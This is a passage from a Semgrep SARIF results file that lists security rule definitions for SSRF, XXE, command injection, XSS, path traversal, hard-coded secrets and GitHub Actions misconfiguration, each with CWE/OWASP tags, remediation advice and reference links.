domains."},"helpUri":"https://semgrep.dev/r/java.micronaut.ssrf.java-http-concat-taint-msg.java-http-concat-taint-msg","id":"java.micronaut.ssrf.java-http-concat-taint-msg.java-http-concat-taint-msg","name":"java.micronaut.ssrf.java-http-concat-taint-msg.java-http-concat-taint-msg","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.ssrf.java-http-concat-taint-msg.java-http-concat-taint-msg"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.saxreader-xxe.saxreader-xxe)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/827.html](https://cwe.mitre.org/data/definitions/827.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.saxreader-xxe.saxreader-xxe","id":"java.lang.security.xxe.saxreader-xxe.saxreader-xxe","name":"java.lang.security.xxe.saxreader-xxe.saxreader-xxe","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xxe.saxreader-xxe.saxreader-xxe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"URL rewriting has significant security risks. Since session ID appears in the URL, it may be easily seen by third parties."},"help":{"markdown":"URL rewriting has significant security risks. Since session ID appears in the URL, it may be easily seen by third parties.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.audit.url-rewriting.url-rewriting)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html)\n - [https://portal.securecodewarrior.com/#/learning-resources/application_security_weaknesses~2Fweb~2Fauth~2Fsession~2Fexposedtokens](https://portal.securecodewarrior.com/#/learning-resources/application_security_weaknesses~2Fweb~2Fauth~2Fsession~2Fexposedtokens)\n","text":"URL rewriting has significant security risks. Since session ID appears in the URL, it may be easily seen by third parties."},"helpUri":"https://semgrep.dev/r/java.servlets.security.audit.url-rewriting.url-rewriting","id":"java.servlets.security.audit.url-rewriting.url-rewriting","name":"java.servlets.security.audit.url-rewriting.url-rewriting","properties":{"precision":"very-high","tags":["CWE-200: Exposure of Sensitive Information to an Unauthorized Actor","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.audit.url-rewriting.url-rewriting"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Externally controlled data influences the size of an allocation. This can usually lead to overflow or underflow and later trigger an out of bounds conditions."},"help":{"markdown":"Externally controlled data influences the size of an allocation. This can usually lead to overflow or underflow and later trigger an out of bounds conditions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.memory.allocation.tainted-allocation-size.tainted-allocation-size)\n - [https://wiki.sei.cmu.edu/confluence/display/c/MEM05-C.+Avoid+large+stack+allocations](https://wiki.sei.cmu.edu/confluence/display/c/MEM05-C.+Avoid+large+stack+allocations)\n - [https://wiki.sei.cmu.edu/confluence/display/c/MEM35-C.+Allocate+sufficient+memory+for+an+object](https://wiki.sei.cmu.edu/confluence/display/c/MEM35-C.+Allocate+sufficient+memory+for+an+object)\n - [https://www.securecoding.cert.org/confluence/display/c/ARR32-C.+Ensure+size+arguments+for+variable+length+arrays+are+in+a+valid+range](https://www.securecoding.cert.org/confluence/display/c/ARR32-C.+Ensure+size+arguments+for+variable+length+arrays+are+in+a+valid+range)\n","text":"Externally controlled data influences the size of an allocation. This can usually lead to overflow or underflow and later trigger an out of bounds conditions."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.memory.allocation.tainted-allocation-size.tainted-allocation-size","id":"cpp.lang.security.memory.allocation.tainted-allocation-size.tainted-allocation-size","name":"cpp.lang.security.memory.allocation.tainted-allocation-size.tainted-allocation-size","properties":{"precision":"very-high","tags":["CWE-125: Out-of-bounds Read","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.memory.allocation.tainted-allocation-size.tainted-allocation-size"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"top-level app.run(...) is ignored by flask. Consider putting app.run(...) behind a guard, like inside a function"},"help":{"markdown":"top-level app.run(...) is ignored by flask. Consider putting app.run(...) behind a guard, like inside a function\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.audit.app-run-security-config.avoid_using_app_run_directly)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"top-level app.run(...) is ignored by flask. Consider putting app.run(...) behind a guard, like inside a function"},"helpUri":"https://semgrep.dev/r/python.flask.security.audit.app-run-security-config.avoid_using_app_run_directly","id":"python.flask.security.audit.app-run-security-config.avoid_using_app_run_directly","name":"python.flask.security.audit.app-run-security-config.avoid_using_app_run_directly","properties":{"precision":"very-high","tags":["CWE-668: Exposure of Resource to Wrong Sphere","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.audit.app-run-security-config.avoid_using_app_run_directly"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Executing non-constant commands. This can lead to command injection. You should use `escapeshellarg()` when using command."},"help":{"markdown":"Executing non-constant commands. This can lead to command injection. You should use `escapeshellarg()` when using command.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.tainted-exec.tainted-exec)\n - [https://www.stackhawk.com/blog/php-command-injection/](https://www.stackhawk.com/blog/php-command-injection/)\n - [https://brightsec.com/blog/code-injection-php/](https://brightsec.com/blog/code-injection-php/)\n - [https://www.acunetix.com/websitesecurity/php-security-2/](https://www.acunetix.com/websitesecurity/php-security-2/)\n","text":"Executing non-constant commands. This can lead to command injection. You should use `escapeshellarg()` when using command."},"helpUri":"https://semgrep.dev/r/php.lang.security.tainted-exec.tainted-exec","id":"php.lang.security.tainted-exec.tainted-exec","name":"php.lang.security.tainted-exec.tainted-exec","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.tainted-exec.tainted-exec"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a template variable used in a script tag. Although template variables are HTML escaped, HTML escaping does not always prevent cross-site scripting (XSS) attacks when used directly in JavaScript. If you need this data on the rendered page, consider placing it in the HTML portion (outside of a script tag). Alternatively, use a JavaScript-specific encoder, such as the one available in OWASP ESAPI."},"help":{"markdown":"Detected a template variable used in a script tag. Although template variables are HTML escaped, HTML escaping does not always prevent cross-site scripting (XSS) attacks when used directly in JavaScript. If you need this data on the rendered page, consider placing it in the HTML portion (outside of a script tag). Alternatively, use a JavaScript-specific encoder, such as the one available in OWASP ESAPI.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.xss.ejs.var-in-script-tag.var-in-script-tag)\n - [https://www.veracode.com/blog/secure-development/nodejs-template-engines-why-default-encoders-are-not-enough](https://www.veracode.com/blog/secure-development/nodejs-template-engines-why-default-encoders-are-not-enough)\n - [https://github.com/ESAPI/owasp-esapi-js](https://github.com/ESAPI/owasp-esapi-js)\n","text":"Detected a template variable used in a script tag. Although template variables are HTML escaped, HTML escaping does not always prevent cross-site scripting (XSS) attacks when used directly in JavaScript. If you need this data on the rendered page, consider placing it in the HTML portion (outside of a script tag). Alternatively, use a JavaScript-specific encoder, such as the one available in OWASP ESAPI."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.xss.ejs.var-in-script-tag.var-in-script-tag","id":"javascript.express.security.audit.xss.ejs.var-in-script-tag.var-in-script-tag","name":"javascript.express.security.audit.xss.ejs.var-in-script-tag.var-in-script-tag","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.xss.ejs.var-in-script-tag.var-in-script-tag"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This GitHub Actions workflow file uses `pull_request_target` and checks out code from the incoming pull request. When using `pull_request_target`, the Action runs in the context of the target repository, which includes access to all repository secrets. Normally, this is safe because the Action only runs code from the target repository, not the incoming PR. However, by checking out the incoming PR code, you're now using the incoming code for the rest of the action. You may be inadvertently executing arbitrary code from the incoming PR with access to repository secrets, which would let an attacker steal repository secrets. This normally happens by running build scripts (e.g., `npm build` and `make`) or dependency installation scripts (e.g., `python setup.py install`). Audit your workflow file to make sure no code from the incoming PR is executed. Please see https://securitylab.github.com/research/github-actions-preventing-pwn-requests/ for additional mitigations."},"help":{"markdown":"This GitHub Actions workflow file uses `pull_request_target` and checks out code from the incoming pull request. When using `pull_request_target`, the Action runs in the context of the target repository, which includes access to all repository secrets. Normally, this is safe because the Action only runs code from the target repository, not the incoming PR. However, by checking out the incoming PR code, you're now using the incoming code for the rest of the action. You may be inadvertently executing arbitrary code from the incoming PR with access to repository secrets, which would let an attacker steal repository secrets. This normally happens by running build scripts (e.g., `npm build` and `make`) or dependency installation scripts (e.g., `python setup.py install`). Audit your workflow file to make sure no code from the incoming PR is executed. Please see https://securitylab.github.com/research/github-actions-preventing-pwn-requests/ for additional mitigations.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.github-actions.security.pull-request-target-code-checkout.pull-request-target-code-checkout)\n - [https://securitylab.github.com/research/github-actions-preventing-pwn-requests/](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/)\n - [https://github.com/justinsteven/advisories/blob/master/2021_github_actions_checkspelling_token_leak_via_advice_symlink.md](https://github.com/justinsteven/advisories/blob/master/2021_github_actions_checkspelling_token_leak_via_advice_symlink.md)\n","text":"This GitHub Actions workflow file uses `pull_request_target` and checks out code from the incoming pull request. When using `pull_request_target`, the Action runs in the context of the target repository, which includes access to all repository secrets. Normally, this is safe because the Action only runs code from the target repository, not the incoming PR. However, by checking out the incoming PR code, you're now using the incoming code for the rest of the action. You may be inadvertently executing arbitrary code from the incoming PR with access to repository secrets, which would let an attacker steal repository secrets. This normally happens by running build scripts (e.g., `npm build` and `make`) or dependency installation scripts (e.g., `python setup.py install`). Audit your workflow file to make sure no code from the incoming PR is executed. Please see https://securitylab.github.com/research/github-actions-preventing-pwn-requests/ for additional mitigations."},"helpUri":"https://semgrep.dev/r/yaml.github-actions.security.pull-request-target-code-checkout.pull-request-target-code-checkout","id":"yaml.github-actions.security.pull-request-target-code-checkout.pull-request-target-code-checkout","name":"yaml.github-actions.security.pull-request-target-code-checkout.pull-request-target-code-checkout","properties":{"precision":"very-high","tags":["CWE-913: Improper Control of Dynamically-Managed Code Resources","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.github-actions.security.pull-request-target-code-checkout.pull-request-target-code-checkout"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.xml.tainted-django-xml-lxml.tainted-django-xml-lxml)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html)\n - [https://github.com/lxml/lxml/blob/master/src/lxml/etree.pyx](https://github.com/lxml/lxml/blob/master/src/lxml/etree.pyx)\n - [https://lxml.de/parsing.html](https://lxml.de/parsing.html)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"helpUri":"https://semgrep.dev/r/python.django.xml.tainted-django-xml-lxml.tainted-django-xml-lxml","id":"python.django.xml.tainted-django-xml-lxml.tainted-django-xml-lxml","name":"python.django.xml.tainted-django-xml-lxml.tainted-django-xml-lxml","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.xml.tainted-django-xml-lxml.tainted-django-xml-lxml"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.file.tainted-path-traversal-fs-django.tainted-path-traversal-fs-django)\n - [https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems](https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/](https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/python.django.file.tainted-path-traversal-fs-django.tainted-path-traversal-fs-django","id":"python.django.file.tainted-path-traversal-fs-django.tainted-path-traversal-fs-django","name":"python.django.file.tainted-path-traversal-fs-django.tainted-path-traversal-fs-django","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.file.tainted-path-traversal-fs-django.tainted-path-traversal-fs-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application's App Transport Security (ATS) configuration does not leverage the Certificate Transparency option. By opting in for Certificate Transparency (CT), rogue CA or compromised CA issued certificates may be identified and blocked, creating a more reliably secure TLS channel."},"help":{"markdown":"The application's App Transport Security (ATS) configuration does not leverage the Certificate Transparency option. By opting in for Certificate Transparency (CT), rogue CA or compromised CA issued certificates may be identified and blocked, creating a more reliably secure TLS channel.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.insecure-communication.ats.ats-ct.ATS-consider-ct)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication)\n - [https://certificate.transparency.dev/](https://certificate.transparency.dev/)\n","text":"The application's App Transport Security (ATS) configuration does not leverage the Certificate Transparency option. By opting in for Certificate Transparency (CT), rogue CA or compromised CA issued certificates may be identified and blocked, creating a more reliably secure TLS channel."},"helpUri":"https://semgrep.dev/r/swift.insecure-communication.ats.ats-ct.ATS-consider-ct","id":"swift.insecure-communication.ats.ats-ct.ATS-consider-ct","name":"swift.insecure-communication.ats.ats-ct.ATS-consider-ct","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","HIGH CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.insecure-communication.ats.ats-ct.ATS-consider-ct"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.gorilla.gorilla-csrf-hardcoded-auth-key.gorilla-csrf-hardcoded-auth-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.gorilla.gorilla-csrf-hardcoded-auth-key.gorilla-csrf-hardcoded-auth-key","id":"go.secrets.gorilla.gorilla-csrf-hardcoded-auth-key.gorilla-csrf-hardcoded-auth-key","name":"go.secrets.gorilla.gorilla-csrf-hardcoded-auth-key.gorilla-csrf-hardcoded-auth-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.gorilla.gorilla-csrf-hardcoded-auth-key.gorilla-csrf-hardcoded-auth-key"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found user-controlled data used in a system call. This could allow a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability."},"help":{"markdown":"Found user-controlled data used in a system call. This could allow a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.dangerous-system-call.dangerous-system-call)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n","text":"Found user-controlled data used in a system call. This could allow a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability."},"helpUri":"https://semgrep.dev/r/python.lang.security.dangerous-system-call.dangerous-system-call","id":"python.lang.security.dangerous-system-call.dangerous-system-call","name":"python.lang.security.dangerous-system-call.dangerous-system-call","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.dangerous-system-call.dangerous-system-call"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against all types of XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against all types of XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.xxe.saxparserfactory-xxe-parameter-entity.saxparserfactory-xxe-parameter-entity)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - 